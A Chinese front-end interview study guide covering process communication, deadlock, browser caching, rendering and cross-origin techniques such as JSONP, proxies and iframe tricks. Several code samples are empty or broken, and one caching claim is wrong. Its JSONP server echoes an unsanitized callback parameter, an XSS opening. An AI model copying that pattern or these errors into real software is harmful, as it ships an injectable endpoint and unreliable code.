-消息队列就是一个消息的列表。用户可以在消息队列中添加消息、读取消息等。消息队列提供了一种从一个进程向另一个进程发送一个数据块的方法。 每个数据块都被认为含有一个类型,接收进程可以独立地接收含有不同类型的数据结构。可以通过发送消息来避免命名管道的同步和阻塞问题。但是消息队列与命名管道一样,每个数据块都有一个最大长度的限制。 - -使用消息队列进行进程间通信,可能会收到数据块最大长度的限制约束等,这也是这种通信方式的缺点。如果频繁的发生进程间的通信行为,那么进程需要频繁地读取队列中的数据到内存,相当于间接地从一个进程拷贝到另一个进程,这需要花费时间。 - -**(3)信号量通信** - -> 通过控制访问呢 - -共享内存最大的问题就是多进程竞争内存的问题,就像类似于线程安全问题。我们可以使用信号量来解决这个问题。信号量的本质就是一个计数器,用来实现进程之间的互斥与同步。例如信号量的初始值是 1,然后 a 进程来访问内存1的时候,我们就把信号量的值设为 0,然后进程b 也要来访问内存1的时候,看到信号量的值为 0 就知道已经有进程在访问内存1了,这个时候进程 b 就会访问不了内存1。所以说,信号量也是进程之间的一种通信方式。 - -**(4)信号通信** - -信号(Signals )是Unix系统中使用的最古老的进程间通信的方法之一。操作系统通过信号来通知进程系统中发生了某种预先规定好的事件(一组事件中的一个),它也是用户进程之间通信和同步的一种原始机制。 - -**(5)共享内存通信** - -**共享内存就是映射一段能被其他进程所访问的内存**,这段共享内存由一个进程创建,但多个进程都可以访问(使多个进程可以访问同一块内存空间)。共享内存是最快的 IPC 方式,它是针对其他进程间通信方式运行效率低而专门设计的。它往往与其他通信机制,如信号量,配合使用,来实现进程间的同步和通信。 - -**(6)socket套接字通信** - -上面说的共享内存、管道、信号量、消息队列,他们都是多个进程在**一台主机**之间的通信,那两个相隔几千里的进程能够进行通信吗?答是必须的,这个时候 Socket 这家伙就派上用场了,例如我们平时通过浏览器发起一个 http 请求,然后服务器给你返回对应的数据,这种就是采用 Socket 的通信方式了。 - -### 5. 僵尸进程和孤儿进程是什么? - -- **孤儿进程**:父进程退出了,而它的一个或多个进程还在运行,那这些子进程都会成为孤儿进程。孤儿进程将被init进程(进程号为1)所收养,并由init进程对它们完成状态收集工作。 -- **僵尸进程**:子进程比父进程先结束,而父进程又没有释放子进程占用的资源,那么子进程的进程描述符仍然保存在系统中,这种进程称之为僵尸进程(死了但是以为活着)。 - -### 6. 死锁产生的原因? 如果解决死锁的问题?:star::star: - -> 感觉JS不太可能遇到这个 - -所谓死锁,是指多个进程在运行过程中因争夺资源而造成的一种僵局,当进程处于这种僵持状态时,若无外力作用,它们都将无法再向前推进。 - -系统中的资源可以分为两类: - -- 可剥夺资源,是指某进程在获得这类资源后,该资源可以再被其他进程或系统剥夺,CPU和主存均属于可剥夺性资源; -- 不可剥夺资源,当系统把这类资源分配给某进程后,再不能强行收回,只能在进程用完后自行释放,如磁带机、打印机等。 - -**产生死锁的原因:** - -**(1)竞争资源** - -- 产生死锁中的竞争资源之一指的是**竞争不可剥夺资源**(例如:系统中只有一台打印机,可供进程P1使用,假定P1已占用了打印机,若P2继续要求打印机打印将阻塞) -- 产生死锁中的竞争资源另外一种资源指的是**竞争临时资源**(临时资源包括硬件中断、信号、消息、缓冲区内的消息等),通常消息通信顺序进行不当,则会产生死锁 - -**(2)进程间推进顺序非法** - -若P1保持了资源R1,P2保持了资源R2,系统处于不安全状态,因为这两个进程再向前推进,便可能发生死锁。例如,当P1运行到P1:Request(R2)时,将因R2已被P2占用而阻塞;当P2运行到P2:Request(R1)时,也将因R1已被P1占用而阻塞,于是发生进程死锁 - -**产生死锁的必要条件:** - -- **互斥条件**:进程要求对所分配的资源进行排它性控制,即在一段时间内某资源仅为一进程所占用。 -- **请求和保持条件**:当进程因请求资源而阻塞时,对已获得的资源保持不放。 -- **不剥夺条件**:进程已获得的资源在未使用完之前,不能剥夺,只能在使用完时由自己释放。 -- **环路等待条件**:在发生死锁时,必然存在一个进程——资源的环形链。 - -**预防死锁的方法:** - -- 资源一次性分配:一次性分配所有资源,这样就不会再有请求了(破坏请求条件) -- 只要有一个资源得不到分配,也不给这个进程分配其他的资源(破坏请保持条件) -- 可剥夺资源:即当某进程获得了部分资源,但得不到其它资源,则释放已占有的资源(破坏不可剥夺条件) -- 资源有序分配法:系统给每类资源赋予一个编号,每一个进程按编号递增的顺序请求资源,释放则相反(破坏环路等待条件) - -### 7. 如何实现浏览器内多个标签页之间的通信? :star: - -实现多个标签页之间的通信,本质上都是通过中介者模式来实现的。因为标签页之间没有办法直接通信,因此我们可以找一个中介者,让标签页和中介者进行通信,然后让这个中介者来进行消息的转发。通信方法如下: - -- **使用 websocket 协议,以服务器为中介**,因为 websocket 协议可以实现服务器推送,所以服务器就可以用来当做这个中介者。标签页通过向服务器发送数据,然后由服务器向其他标签页推送转发。 - -- **使用 ShareWorker 的方式**,shareWorker 会在页面存在的生命周期内创建一个唯一的线程,并且开启多个页面也只会使用同一个线程。这个时候共享线程就可以充当中介者的角色。标签页间通过共享一个线程,然后**通过共享的线程来实现数据的交换**。 - - > SharedWorker 接口代表一种特定类型的 worker,可以从几个浏览上下文中访问,例如几个窗口、iframe 或其他 worker。 - > - > `SharedWorker()` 创建一个执行指定 url 脚本的共享 web worker。 - -- **使用 LocalStorage 的方式**,我们可以在一个标签页对 localStorage 的变化事件进行监听,然后当另一个标签页修改数据的时候,我们就可以通过这个监听事件来获取到数据。这个时候 localStorage 对象就是充当的中介者的角色。 - -- **使用 postMessage 方法**,如果我们能够获得对应标签页的引用,就可以使用postMessage 方法,进行通信。 - -### 8. 对Service Worker的理解 - -Service Worker 是运行在浏览器GUI线程背后的**独立线程**,一般可以用来实现**缓存功能**。使用 Service Worker的话,传输协议必须为 **HTTPS**。因为 Service Worker 中涉及到**请求拦截**,所以必须使用 HTTPS 协议来保障安全。 - -Service Worker 实现缓存功能一般分为三个步骤: - -1. 首先需要先注册 Service Worker, - -2. 然后监听到 `install` 事件以后就可以缓存需要的文件,那么在下次用户访问的时候就可以通过拦截请求的方式查询是否存在缓存 - -3. 存在缓存的话就可以直接读取缓存文件,否则就去请求数据。以下是这个步骤的实现: - -```javascript -// index.js -if (navigator.serviceWorker) { - navigator.serviceWorker - .register('sw.js') - .then(function(registration) { - console.log('service worker 注册成功') - }) - .catch(function(err) { - console.log('servcie worker 注册失败') - }) -} -// sw.js -// 监听 `install` 事件,回调中缓存所需文件 -self.addEventListener('install', e => { - e.waitUntil( - caches.open('my-cache').then(function(cache) { - return cache.addAll(['./index.html', './index.js']) - }) - ) -}) -// 拦截所有请求事件 -// 如果缓存中已经有请求的数据就直接用缓存,否则去请求数据 -self.addEventListener('fetch', e => { - e.respondWith( - caches.match(e.request).then(function(response) { - if (response) { - return response - } - console.log('fetch source') - }) - ) -}) -``` - -打开页面,可以在开发者工具中的 `Application` 看到 Service Worker 已经启动了: - -![img](https://cdn.yihuiblog.top/images/202207010925435.webp) 在 Cache 中也可以发现所需的文件已被缓存: ![img](https://cdn.yihuiblog.top/images/202207010925368.webp) - -## 三、浏览器缓存 - -### 1. 对浏览器的缓存机制的理解 :star::star: - -**浏览器缓存的全过程:** - -- 浏览器第一次加载资源,服务器返回 200,浏览器从服务器下载资源文件,并缓存资源文件与 response header,以供下次加载时对比使用; -- 下一次加载资源时,由于强制缓存优先级较高,先比较当前时间与上一次返回 200 时的时间差,如果没有超过 cache-control 设置的 max-age,则没有过期,并命中强缓存,直接从本地读取资源。如果浏览器不支持HTTP1.1,则使用 expires 头判断是否过期; -- 如果资源已过期,则表明强制缓存没有被命中,则开始协商缓存,向服务器发送带有 If-None-Match 和 If-Modified-Since 的请求; -- 服务器收到请求后,优先根据 Etag 的值判断被请求的文件有没有做修改,Etag 值一致则没有修改,命中协商缓存,返回 304;如果不一致则有改动,直接返回新的资源文件带上新的 Etag 值并返回 200; -- 如果服务器收到的请求没有 Etag 值,则将 If-Modified-Since 和被请求文件的最后修改时间做比对,一致则命中协商缓存,返回 304;不一致则返回新的 last-modified 和文件并返回 200; - -![浏览器缓存-IT Blog](https://cdn.yihuiblog.top/images/202207010936645.png) - -很多网站的资源后面都加了版本号,这样做的目的是:每次升级了 JS 或 CSS 文件后,为了防止浏览器进行缓存,强制改变版本号,客户端浏览器就会重新下载新的 JS 或 CSS 文件 ,以保证用户能够及时获得网站的最新更新。 - -### 2. 浏览器资源缓存的位置有哪些?:star: - -资源缓存的位置一共有 4 种,按优先级从高到低分别是: - -1. **Service Worker:**Service Worker 运行在 JavaScript 主线程之外,虽然由于脱离了浏览器窗体无法直接访问 DOM,但是它可以完成离线缓存、消息推送、网络代理等功能。它可以让我们自由控制**缓存哪些文件、如何匹配缓存、如何读取缓存,并且**缓存是持续性的**。当 Service Worker 没有命中缓存的时候,需要去调用 `fetch` 函数获取 数据。也就是说,如果没有在 Service Worker 命中缓存,会根据缓存查找优先级去查找数据。**但是不管是从 Memory Cache 中还是从网络请求中获取的数据,浏览器都会显示是从 Service Worker 中获取的内容。 -2. **Memory Cache:** Memory Cache 就是内存缓存,它的效率最快,**但是内存缓存虽然读取高效,可是缓存持续性很短,会随着进程的释放而释放。**一旦我们关闭 Tab 页面,内存中的缓存也就被释放了。 -3. **Disk Cache:** Disk Cache 也就是存储在硬盘中的缓存,读取速度慢点,但是什么都能存储到磁盘中,比之 Memory Cache **胜在容量和存储时效性上。**在所有浏览器缓存中,Disk Cache 覆盖面基本是最大的。它会根据 HTTP Herder 中的字段判断哪些资源需要缓存,哪些资源可以不请求直接使用,哪些资源已经过期需要重新请求。**并且即使在跨站点的情况下,相同地址的资源一旦被硬盘缓存下来,就不会再次去请求数据。** - -4. **Push Cache:** Push Cache 是 HTTP/2 中的内容,当以上三种缓存都没有命中时,它才会被使用。并且缓存时间也很短暂,只在会话(Session)中存在,一旦会话结束就被释放。其具有以下特点: - -- 所有的资源都能被推送,但是 Edge 和 Safari 浏览器兼容性不怎么好 -- 可以推送 `no-cache` 和 `no-store` 的资源 -- 一旦连接被关闭,Push Cache 就被释放 -- 多个页面可以使用相同的 HTTP/2 连接,也就是说能使用同样的缓存 -- Push Cache 中的缓存只能被使用一次 -- 浏览器可以拒绝接受已经存在的资源推送 -- 可以给其他域名推送资源**** - -### 3. 协商缓存和强缓存的区别 :star::star: - -#### (1)强缓存 - -使用强缓存策略时,如果缓存资源有效,则直接使用缓存资源,不必再向服务器发起请求。 - -强缓存策略可以通过两种方式来设置,分别是 http 头信息中的 Expires 属性和 Cache-Control 属性。 - -(1)**服务器**通过在响应头中添加 Expires 属性,来指定资源的过期时间。在过期时间以内,该资源可以被缓存使用,不必再向服务器发送请求。这个时间是一个绝对时间,它是服务器的时间,因此可能存在这样的问题,就是客户端的时间和服务器端的时间不一致,或者用户可以对客户端时间进行修改的情况,这样就可能会影响缓存命中的结果。 - -(2)Expires 是 http1.0 中的方式,因为它的一些缺点,在 HTTP 1.1 中提出了一个新的头部属性就是 Cache-Control 属性,它提供了对资源的缓存的更精确的控制。它有很多不同的值, - -`Cache-Control`可设置的字段: - -- `public`:设置了该字段值的资源表示可以被任何对象(包括:发送请求的客户端、代理服务器等等)缓存。这个字段值不常用,一般还是使用max-age=来精确控制; -- `private`:设置了该字段值的资源只能被用户浏览器缓存,不允许任何代理服务器缓存。在实际开发当中,对于一些含有用户信息的HTML,通常都要设置这个字段值,避免代理服务器(CDN)缓存; -- `no-cache`:设置了该字段需要先和服务端确认返回的资源是否发生了变化(不直接使用浏览器缓存,你需要先跟服务器进行确认),如果资源未发生变化,则直接使用缓存好的资源; -- `no-store`:设置了该字段表示禁止任何缓存,每次都会向服务端发起新的请求,拉取最新的资源; -- `max-age=`:设置缓存的最大有效期,单位为秒; -- `s-maxage=`:优先级高于max-age=,仅适用于共享缓存(CDN),优先级高于max-age或者Expires头; -- `max-stale[=]`:设置了该字段表明客户端愿意接收已经过期的资源,但是不能超过给定的时间限制。 - -一般来说只需要设置其中一种方式就可以实现强缓存策略,当两种方式一起使用时,Cache-Control 的优先级要高于 Expires。 - -**no-cache和no-store很容易混淆:** - -- no-cache 是指先要和服务器确认是否有资源更新,在进行判断。也就是说没有强缓存,但是会有协商缓存; -- no-store 是指不使用任何缓存,每次请求都**直接从服务器获取资源**。 - -#### (2)协商缓存 - -如果命中强制缓存,我们无需发起新的请求,直接使用缓存内容,如果没有命中强制缓存,如果设置了协商缓存,这个时候协商缓存就会发挥作用了。 - -上面已经说到了,命中协商缓存的条件有两个: - -- `max-age=xxx` 过期了 -- 值为`no-store` - -使用协商缓存策略时,会先向服务器发送一个请求,如果资源没有发生修改,则返回一个 304 状态,让浏览器使用本地的缓存副本。如果资源发生了修改,则返回修改后的资源。 - -协商缓存也可以通过两种方式来设置,分别是 http 头信息中的**Etag** 和**Last-Modified**属性。 - -(1)服务器通过在响应头中添加 Last-Modified 属性来指出资源最后一次修改的时间,当浏览器下一次发起请求时,会在请求头中添加一个 If-Modified-Since 的属性,属性值为上一次资源返回时的 Last-Modified 的值。当请求发送到服务器后服务器会通过这个属性来和资源的最后一次的修改时间来进行比较,以此来判断资源是否做了修改。如果资源没有修改,那么返回 304 状态,让客户端使用本地的缓存。如果资源已经被修改了,则返回修改后的资源。使用这种方法有一个缺点,就是 Last-Modified 标注的最后修改时间只能精确到秒级,如果某些文件在1秒钟以内,被修改多次的话,那么文件已将改变了但是 Last-Modified 却没有改变,这样会造成缓存命中的不准确。 - -(2)因为 Last-Modified 的这种可能发生的不准确性,http 中提供了另外一种方式,那就是 Etag 属性。服务器在返回资源的时候,在头信息中添加了 Etag 属性,这个属性是资源生成的唯一标识符,当资源发生改变的时候,这个值也会发生改变。在下一次资源请求时,浏览器会在请求头中添加一个 If-None-Match 属性,这个属性的值就是上次返回的资源的 Etag 的值。服务接收到请求后会根据这个值来和资源当前的 Etag 的值来进行比较,以此来判断资源是否发生改变,是否需要返回资源。通过这种方式,比 Last-Modified 的方式更加精确。 - -当 Last-Modified 和 Etag 属性同时出现的时候,Etag 的优先级更高。使用协商缓存的时候,服务器需要考虑负载平衡的问题,因此多个服务器上资源的 Last-Modified 应该保持一致,因为每个服务器上 Etag 的值都不一样,因此在考虑负载平衡时,最好不要设置 Etag 属性。 - -**总结:** - -强缓存策略和协商缓存策略在缓存命中时都会直接使用本地的缓存副本,区别只在于协商缓存会向服务器发送一次请求。它们缓存不命中时,都会向服务器发送请求来获取资源。在实际的缓存机制中,强缓存策略和协商缓存策略是一起合作使用的。浏览器首先会根据请求的信息判断,强缓存是否命中,如果命中则直接使用资源。如果不命中则根据头信息向服务器发起请求,使用协商缓存,如果协商缓存命中的话,则服务器不返回资源,浏览器直接使用本地资源的副本,如果协商缓存不命中,则浏览器返回最新的资源给浏览器。 - -### 4. 为什么需要浏览器缓存? - -对于浏览器的缓存,主要针对的是前端的静态资源,最好的效果就是,在发起请求之后,拉取相应的静态资源,并保存在本地。如果服务器的静态资源没有更新,那么在下次请求的时候,就直接从本地读取即可,如果服务器的静态资源已经更新,那么我们再次请求的时候,就到服务器拉取新的资源,并保存在本地。这样就大大的减少了请求的次数,提高了网站的性能。这就要用到浏览器的缓存策略了。 - -所谓的**浏览器缓存**指的是浏览器将用户请求过的静态资源,存储到电脑本地磁盘中,当浏览器再次访问时,就可以直接从本地加载,不需要再去服务端请求了。 - -使用浏览器缓存,有以下优点: - -- 减少了服务器的负担,提高了网站的性能 -- 加快了客户端网页的加载速度 -- 减少了多余网络数据传输 - -### 5. 点击刷新按钮或者按 F5、按 Ctrl+F5 (强制刷新)、地址栏回车有什么区别? - -- **点击刷新按钮或者按 F5:** 浏览器直接对本地的缓存文件过期,但是会带上If-Modifed-Since,If-None-Match,这就意味着服务器会对文件检查新鲜度,返回结果可能是 304,也有可能是 200。 -- **用户按 Ctrl+F5(强制刷新):** 浏览器不仅会对本地文件过期,而且不会带上 If-Modifed-Since,If-None-Match,相当于之前从来没有请求过,返回结果是 200。 -- 地址栏回车: 浏览器发起请求,按照正常流程,本地检查是否过期,然后服务器检查新鲜度,最后返回内容。 - -## 四、浏览器组成 - -### 1. 对浏览器的理解 - -浏览器的主要功能是将用户选择的 web 资源呈现出来,它需要从服务器请求资源,并将其显示在浏览器窗口中,资源的格式通常是 HTML,也包括 PDF、image 及其他格式。用户用 URI(Uniform Resource Identifier 统一资源标识符)来指定所请求资源的位置。 - -HTML 和 CSS 规范中规定了浏览器解释 html 文档的方式,由 W3C 组织对这些规范进行维护,W3C 是负责制定 web 标准的组织。但是浏览器厂商纷纷开发自己的扩展,对规范的遵循并不完善,这为 web 开发者带来了严重的兼容性问题。 - -浏览器可以分为两部分,shell 和 内核。其中 shell 的种类相对比较多,内核则比较少。也有一些浏览器并不区分外壳和内核。从 Mozilla 将 Gecko 独立出来后,才有了外壳和内核的明确划分。 - -- shell 是指浏览器的外壳:例如菜单,工具栏等。主要是提供给用户界面操作,参数设置等等。它是调用内核来实现各种功能的。 -- 内核是浏览器的核心。内核是基于标记语言显示内容的程序或模块。 - -### 2. 对浏览器内核的理解 :star: - -浏览器内核主要分成两部分: - -- 渲染引擎的职责就是渲染,即在浏览器窗口中显示所请求的内容。默认情况下,渲染引擎可以显示 html、xml 文档及图片,它也可以借助插件显示其他类型数据,例如使用 PDF 阅读器插件,可以显示 PDF 格式。 -- JS 引擎:解析和执行 javascript 来实现网页的动态效果。 - -最开始渲染引擎和 JS 引擎并没有区分的很明确,后来 JS 引擎越来越独立,内核就倾向于只指渲染引擎。 - -### 3. 常见的浏览器内核比较 :star: - -- **Trident:** 这种浏览器内核是 IE 浏览器用的内核,因为在早期 IE 占有大量的市场份额,所以这种内核比较流行,以前有很多网页也是根据这个内核的标准来编写的,但是实际上这个内核对真正的网页标准支持不是很好。但是由于 IE 的高市场占有率,微软也很长时间没有更新 Trident 内核,就导致了 Trident 内核和 W3C 标准脱节。还有就是 Trident 内核的大量 Bug 等安全问题没有得到解决,加上一些专家学者公开自己认为 IE 浏览器不安全的观点,使很多用户开始转向其他浏览器。 -- **Gecko:** 这是 Firefox 和 Flock 所采用的内核,这个内核的优点就是功能强大、丰富,可以支持很多复杂网页效果和浏览器扩展接口,但是代价是也显而易见就是要消耗很多的资源,比如内存。 -- **Presto:** Opera 曾经采用的就是 Presto 内核,Presto 内核被称为公认的浏览网页速度最快的内核,这得益于它在开发时的天生优势,在处理 JS 脚本等脚本语言时,会比其他的内核快3倍左右,缺点就是为了达到很快的速度而丢掉了一部分网页兼容性。 -- **Webkit:** Webkit 是 Safari 采用的内核,它的优点就是网页浏览速度较快,虽然不及 Presto 但是也胜于 Gecko 和 Trident,缺点是对于网页代码的容错性不高,也就是说对网页代码的兼容性较低,会使一些编写不标准的网页无法正确显示。WebKit 前身是 KDE 小组的 KHTML 引擎,可以说 WebKit 是 KHTML 的一个开源的分支。 -- **Blink:** 谷歌在 Chromium Blog 上发表博客,称将与苹果的开源浏览器核心 Webkit 分道扬镳,在 Chromium 项目中研发 Blink 渲染引擎(即浏览器核心),内置于 Chrome 浏览器之中。其实 Blink 引擎就是 Webkit 的一个分支,就像 webkit 是KHTML 的分支一样。Blink 引擎现在是谷歌公司与 Opera Software 共同研发,上面提到过的,Opera 弃用了自己的 Presto 内核,加入 Google 阵营,跟随谷歌一起研发 Blink。 - -### 4. 常见浏览器所用内核 :star: - -(1) IE 浏览器内核:Trident 内核,也是俗称的 IE 内核; - -(2) Chrome 浏览器内核:统称为 Chromium 内核或 Chrome 内核,以前是 Webkit 内核,现在是 Blink内核; - -(3) Firefox 浏览器内核:Gecko 内核,俗称 Firefox 内核; - -(4) Safari 浏览器内核:Webkit 内核; - -### 5. 浏览器的主要组成部分 :star: - -- **⽤户界⾯** 包括地址栏、前进/后退按钮、书签菜单等。除了浏览器主窗⼝显示的您请求的⻚⾯外,其他显示的各个部分都属于⽤户界⾯。 -- **浏览器引擎** 在⽤户界⾯和呈现引擎之间传送指令。 -- **呈现引擎** 负责显示请求的内容。如果请求的内容是 HTML,它就负责解析 HTML 和 CSS 内容,并将解析后的内容显示在屏幕上。 -- **⽹络** ⽤于⽹络调⽤,⽐如 HTTP 请求。其接⼝与平台⽆关,并为所有平台提供底层实现。 -- **⽤户界⾯后端** ⽤于绘制基本的窗⼝⼩部件,⽐如组合框和窗⼝。其公开了与平台⽆关的通⽤接⼝,⽽在底层使⽤操作系统的⽤户界⾯⽅法。 -- **JavaScript 解释器**。⽤于解析和执⾏ JavaScript 代码。 -- **数据存储** 这是持久层。浏览器需要在硬盘上保存各种数据,例如 Cookie。新的 HTML 规范 (HTML5) 定义了“⽹络数据库”,这是⼀个完整(但是轻便)的浏览器内数据库。 - -值得注意的是,和⼤多数浏览器不同,Chrome 浏览器的每个标签⻚都分别对应⼀个呈现引擎实例。每个标签⻚都是⼀个独⽴的进程。 - -## 五、浏览器渲染原理 - -### 1. 浏览器的渲染过程 :star::star: - -浏览器渲染主要有以下步骤: - -1. 首先解析收到的文档,根据文档定义构建一棵 DOM 树,DOM 树是由 DOM 元素及属性节点组成的。 - -2. 然后对 CSS 进行解析,生成 CSSOM 规则树。 - -3. 根据 DOM 树和 CSSOM 规则树构建渲染树。渲染树的节点被称为渲染对象,渲染对象是一个包含有颜色和大小等属性的矩形,渲染对象和 DOM 元素相对应,但这种对应关系不是一对一的,不可见的 DOM 元素不会被插入渲染树。还有一些 DOM元素对应几个可见对象,它们一般是一些具有复杂结构的元素,无法用一个矩形来描述。 - -4. **布局阶段。**当渲染对象被创建并添加到树中,它们并没有位置和大小,所以当浏览器生成渲染树以后,就会根据渲染树来进行布局(也可以叫做**回流**)。这一阶段浏览器要做的事情是要弄清楚各个节点在页面中的确切位置和大小。通常这一行为也被称为“自动重排”。 - -5. **渲染阶段。**布局阶段结束后是绘制阶段,遍历渲染树并调用渲染对象的 paint 方法将它们的内容显示在屏幕上,绘制使用 UI 基础组件。 - -大致过程如图所示: - -![浏览器的渲染原理及过程_after you的博客-CSDN博客_浏览器渲染](https://cdn.yihuiblog.top/images/202207010938999.png) - -**注意:** 这个过程是逐步完成的,为了更好的用户体验,渲染引擎将会尽可能早的将内容呈现到屏幕上,并不会等到所有的html 都解析完成之后再去构建和布局 render 树。它是解析完一部分内容就显示一部分内容,同时,可能还在通过网络下载其余内容。 - -### 2. 浏览器渲染优化 :star::star: - -**(1)针对JavaScript:** JavaScript既会阻塞HTML的解析,也会阻塞CSS的解析。因此我们可以对JavaScript的加载方式进行改变,来进行优化: - -(1)尽量将JavaScript文件放在body的最后 - -(2) body中间尽量不要写` -``` - -服务端返回如下(返回时即执行全局函数): - -```javascript -handleCallback({"success": true, "user": "admin"}) -``` - -> 解析: -> -> 回传脚本内带有对`handleCallback`的调用,调用参数在脚本内,作为响应数据 - -2)Vue axios实现: - -```javascript -this.$http = axios; -this.$http.jsonp('http://www.domain2.com:8080/login', { - params: {}, - jsonp: 'handleCallback' -}).then((res) => { - console.log(res); -}) -``` - -后端 node.js代码: - -```javascript -var querystring = require('querystring'); -var http = require('http'); -var server = http.createServer(); -server.on('request', function(req, res) { - var params = querystring.parse(req.url.split('?')[1]); - var fn = params.callback; - // jsonp返回设置 - res.writeHead(200, { 'Content-Type': 'text/javascript' }); - res.write(fn + '(' + JSON.stringify(params) + ')'); - res.end(); -}); -server.listen('8080'); -console.log('Server is running at port 8080...'); -``` - -**JSONP的缺点:** - -- 具有局限性, 仅支持get方法 -- 不安全,可能会遭受XSS攻击 - -#### (3)postMessage 跨域 - -postMessage是HTML5 XMLHttpRequest Level 2中的API,且是为数不多可以跨域操作的window属性之一,它可用于解决以下方面的问题: - -- **页面和其打开的新窗口的数据传递** -- **多窗口之间消息传递** -- **页面与嵌套的iframe消息传递** - -**上面三个场景的跨域数据传递** - -用法:postMessage(data,origin)方法接受两个参数: - -- **data**: html5规范支持任意基本类型或可复制的对象,但部分浏览器只支持字符串,所以传参时最好用JSON.stringify()序列化。 -- **origin**: 协议+主机+端口号,也可以设置为"*",表示可以传递给任意窗口,如果要指定和当前窗口同源的话设置为"/"。 - -1)a.html:(domain1.com/a.html) - -```html - - -``` - -2)b.html:(domain2.com/b.html) - -```html - -``` - -#### (4)nginx代理跨域 - -nginx代理跨域,实质和CORS跨域原理一样,通过配置文件设置请求响应头Access-Control-Allow-Origin…等字段。 - -1)nginx配置解决**iconfont**跨域 浏览器跨域访问js、css、img等常规静态资源被同源策略许可,但iconfont字体文件(eot|otf|ttf|woff|svg)例外,此时可在nginx的静态资源服务器中加入以下配置。 - -```http -location / { - add_header Access-Control-Allow-Origin *; -} -``` - -2)nginx反向代理接口跨域 跨域问题:同源策略仅是针对浏览器的安全策略。服务器端调用HTTP接口只是使用HTTP协议,不需要同源策略,也就不存在跨域问题。 实现思路:通过Nginx配置一个代理服务器域名与domain1相同,端口不同)做跳板机,反向代理访问domain2接口,并且可以顺便修改cookie中domain信息,方便当前域cookie写入,实现跨域访问。 - -nginx具体配置: - -```javascript -#proxy服务器 -server { - listen 81; - server_name www.domain1.com; - location / { - proxy_pass http://www.domain2.com:8080; #反向代理 - proxy_cookie_domain www.domain2.com www.domain1.com; #修改cookie里域名 - index index.html index.htm; - # 当用webpack-dev-server等中间件代理接口访问nignx时,此时无浏览器参与,故没有同源限制,下面的跨域配置可不启用 - add_header Access-Control-Allow-Origin http://www.domain1.com; #当前端只跨域不带cookie时,可为* - add_header Access-Control-Allow-Credentials true; - } -} -``` - -#### (5)nodejs 中间件代理跨域 - -node中间件实现跨域代理,**原理大致与nginx相同,都是通过启一个代理服务器,实现数据的转发,**也可以通过设置cookieDomainRewrite参数修改响应头中cookie中域名,实现当前域的cookie写入,方便接口登录认证。 - -**1)非vue框架的跨域** 使用node + express + http-proxy-middleware搭建一个proxy服务器。 - -- 前端代码: - -```javascript -var xhr = new XMLHttpRequest(); -// 前端开关:浏览器是否读写cookie -xhr.withCredentials = true; -// 访问http-proxy-middleware代理服务器 -xhr.open('get', 'http://www.domain1.com:3000/login?user=admin', true); -xhr.send(); -``` - -- 中间件服务器代码: - -```javascript -var express = require('express'); -var proxy = require('http-proxy-middleware'); -var app = express(); -app.use('/', proxy({ - // 代理跨域目标接口 - target: 'http://www.domain2.com:8080', - changeOrigin: true, - // 修改响应头信息,实现跨域并允许带cookie - onProxyRes: function(proxyRes, req, res) { - res.header('Access-Control-Allow-Origin', 'http://www.domain1.com'); - res.header('Access-Control-Allow-Credentials', 'true'); - }, - // 修改响应信息中的cookie域名 - cookieDomainRewrite: 'www.domain1.com' // 可以为false,表示不修改 -})); -app.listen(3000); -console.log('Proxy server is listen at port 3000...'); -``` - -**2)vue框架的跨域(本地服务器代理)** - -node + vue + webpack + webpack-dev-server搭建的项目,跨域请求接口,直接修改webpack.config.js配置。开发环境下,vue渲染服务和接口代理服务都是webpack-dev-server同一个,所以页面与代理接口之间不再跨域。 - -webpack.config.js部分配置: - -```javascript -module.exports = { - entry: {}, - module: {}, - ... - devServer: { - historyApiFallback: true, - proxy: [{ - context: '/login', - target: 'http://www.domain2.com:8080', // 代理跨域目标接口 - changeOrigin: true, - secure: false, // 当代理某些https服务报错时用 - cookieDomainRewrite: 'www.domain1.com' // 可以为false,表示不修改 - }], - noInfo: true - } -} -``` - -#### (6)document.domain + iframe跨域 - -此方案仅限主域相同,子域不同的跨域应用场景。实现原理:两个页面都通过js强制设置document.domain为基础主域,就实现了同域。 1)父窗口:(domain.com/a.html) - -```javascript - - -``` - -1)子窗口:(child.domain.com/a.html) - -```javascript - -``` - -#### (7)location.hash + iframe跨域 - -实现原理:a欲与b跨域相互通信,通过中间页c来实现。 三个页面,不同域之间利用iframe的location.hash传值,相同域之间直接js访问来通信。 - -具体实现:A域:a.html -> B域:b.html -> A域:c.html,a与b不同域只能通过hash值单向通信,b与c也不同域也只能单向通信,但c与a同域,所以c可通过parent.parent访问a页面所有对象。 - -1)a.html:(domain1.com/a.html) - -```javascript - - -``` - -2)b.html:(.domain2.com/b.html) - -``` - - -``` - -3)c.html:([www.domain1.com/c.html](https://link.juejin.cn?target=https%3A%2F%2Flink.zhihu.com%2F%3Ftarget%3Dhttp%3A%2F%2Fwww.domain1.com%2Fc.html)) - -```javascript - -``` - -#### (8)window.name + iframe跨域 - -window.name属性的独特之处:name值在不同的页面(甚至不同域名)加载后依旧存在,并且可以支持非常长的 name 值(2MB)。 - -1)a.html:(domain1.com/a.html) - -```javascript -var proxy = function(url, callback) { - var state = 0; - var iframe = document.createElement('iframe'); - // 加载跨域页面 - iframe.src = url; - // onload事件会触发2次,第1次加载跨域页,并留存数据于window.name - iframe.onload = function() { - if (state === 1) { - // 第2次onload(同域proxy页)成功后,读取同域window.name中数据 - callback(iframe.contentWindow.name); - destoryFrame(); - } else if (state === 0) { - // 第1次onload(跨域页)成功后,切换到同域代理页面 - iframe.contentWindow.location = 'http://www.domain1.com/proxy.html'; - state = 1; - } - }; - document.body.appendChild(iframe); - // 获取数据以后销毁这个iframe,释放内存;这也保证了安全(不被其他域frame js访问) - function destoryFrame() { - iframe.contentWindow.document.write(''); - iframe.contentWindow.close(); - document.body.removeChild(iframe); - } -}; -// 请求跨域b页面数据 -proxy('http://www.domain2.com/b.html', function(data){ - alert(data); -}); -``` - -2)proxy.html:(domain1.com/proxy.html) - -中间代理页,与a.html同域,内容为空即可。 3)b.html:(domain2.com/b.html) - -```javascript - -``` - -通过iframe的src属性由外域转向本地域,跨域数据即由iframe的window.name从外域传递到本地域。这个就巧妙地绕过了浏览器的跨域访问限制,但同时它又是安全操作。 - -#### (9)WebSocket协议跨域 - -WebSocket protocol是HTML5一种新的协议。它实现了浏览器与服务器全双工通信,**同时允许跨域通讯**,是server push技术的一种很好的实现。 - -原生WebSocket API使用起来不太方便,我们使用Socket.io,它很好地封装了webSocket接口,提供了更简单、灵活的接口,也对不支持webSocket的浏览器提供了向下兼容。 - -1)前端代码: - -```javascript -
    user input:
